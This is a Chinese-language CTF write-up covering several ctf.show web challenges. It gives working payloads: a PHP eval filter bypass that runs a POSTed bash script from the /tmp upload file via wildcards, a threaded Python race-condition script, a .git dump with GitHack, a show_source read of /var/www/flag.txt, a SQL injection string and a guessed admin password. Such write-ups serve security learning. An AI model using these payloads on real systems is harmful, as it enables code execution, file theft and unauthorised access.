红包题第二弹

<?php
        if(isset($_GET['cmd'])){
            $cmd=$_GET['cmd'];
            highlight_file(__FILE__);
            if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){
            
                die("cerror");
            }
            if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\（|\）|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
                die("serror");
            }
            eval($cmd);
        
        }
    
     ?>

这里补充一个之前做题遇到过的姿势

就是?><?=`ls`   是等同于  system('ls')的，我在之前做题的时候遇到过，前面的?>是用来闭合之前的php语句
PHP语句后面不闭合也是可以执行的所以命令等同

这里过滤了所有大小写除了p和?这个通配符

这里引用某个师傅的原话
php的上传接受multipart/form-data，然后会将它保存在临时文件中。php.ini中设置的upload_tmp_dir就是这个临时文件的保存目录。linux下默认为/tmp。也就是说，只要是php接收到上传的POST请求，就会保存一个临时文件，如何这个php脚本具有“上传功能”那么它将拷贝走，无论如何当脚本执行结束这个临时文件都会被删除。另外，这个php临时文件在linux系统下的命名规则永远是php**.tmp

那么我们想在的目的就是访问/tmp/phpxxxxxx来读取文件

linux .(点命令)：读取并且在当前的shell中执行文件中的命令
这里用p师傅的话讲的话，.file是用bash来执行file文件中的命令，而且这种操作是不需要file有x权限

GET：
?cmd=?><?=`.+/??p/p?p??????`;
POST：
#! /bin/bash

cat /flag.txt
前面也说到了我们是利用bash

红包题第六蛋

查看源码发现个md5

没啥用
扫后台

很明显web.zip有东西

function receiveStreamFile($receiveFile){
 
    $streamData = isset($GLOBALS['HTTP_RAW_POST_DATA'])? $GLOBALS['HTTP_RAW_POST_DATA'] : '';
 
    if(empty($streamData)){
        $streamData = file_get_contents('php://input');
    }
 
    if($streamData!=''){
        $ret = file_put_contents($receiveFile, $streamData, true);
    }else{
        $ret = false;
    }
 
    return $ret;
 
}
if(md5(date("i")) === $token){
	
	$receiveFile = 'flag.dat';
	receiveStreamFile($receiveFile);
	if(md5_file($receiveFile)===md5_file("key.dat")){
		if(hash_file("sha512",$receiveFile)!=hash_file("sha512","key.dat")){
			$ret['success']="1";
			$ret['msg']="人脸识别成功!$flag";
			$ret['error']="0";
			echo json_encode($ret);
			return;
		}

			$ret['errormsg']="same file";
			echo json_encode($ret);
			return;
	}
			$ret['errormsg']="md5 error";
			echo json_encode($ret);
			return;
} 

$ret['errormsg']="token error";
echo json_encode($ret);
return;

首先我们要使得传入值md5与key.dat相等直接访问发现可以下载那么我们就使用这个文件绕过了
要让i等于token，并且要在短时间内替换文件$receiveFile
这里用一个python脚本达到目的

import requests
import time
import hashlib
import threading

# 用分钟因为token会以分钟为节点变化
i = str(time.localtime().tm_min)
# 利用算法生成token
m = hashlib.md5(i.encode()).hexdigest()
url = "http://82797b0d-dd85-49b2-94d5-03e67c720e82.challenge.ctf.show/check.php?token={}&php://input".format(m)


def POST(data):
    try:
        r = requests.post(url, data=data)
        if "ctfshow" in r.text:
            print(r.text)
            pass
        pass
    except Exception as e:
        print("something went wrong!")
        pass
    pass


with open('key.dat', 'rb') as t:
    data1 = t.read()
    pass
for i in range(1, 50):
    threading.Thread(target=POST, args=(data1,)).start()
for i in range(1, 50):
    data2 = 'baozongwi'
    threading.Thread(target=POST, args=(data2,)).start()

红包题第七蛋

本来想扫后台的但是我dirsearch突然变的很慢根本扫不出来于是直接盲猜.git泄露

python GitHack.py https://5827c679-1933-44e8-815c-5b19c75a65a3.challenge.ctf.show/.git

传参Letmein=show_source('/var/www/flag.txt');

萌新专属红包题

先试一下万能密码没什么用

' or 1=1#

扫后台没有发现有用的文件
试了一下爆破

username=admin
password=admin888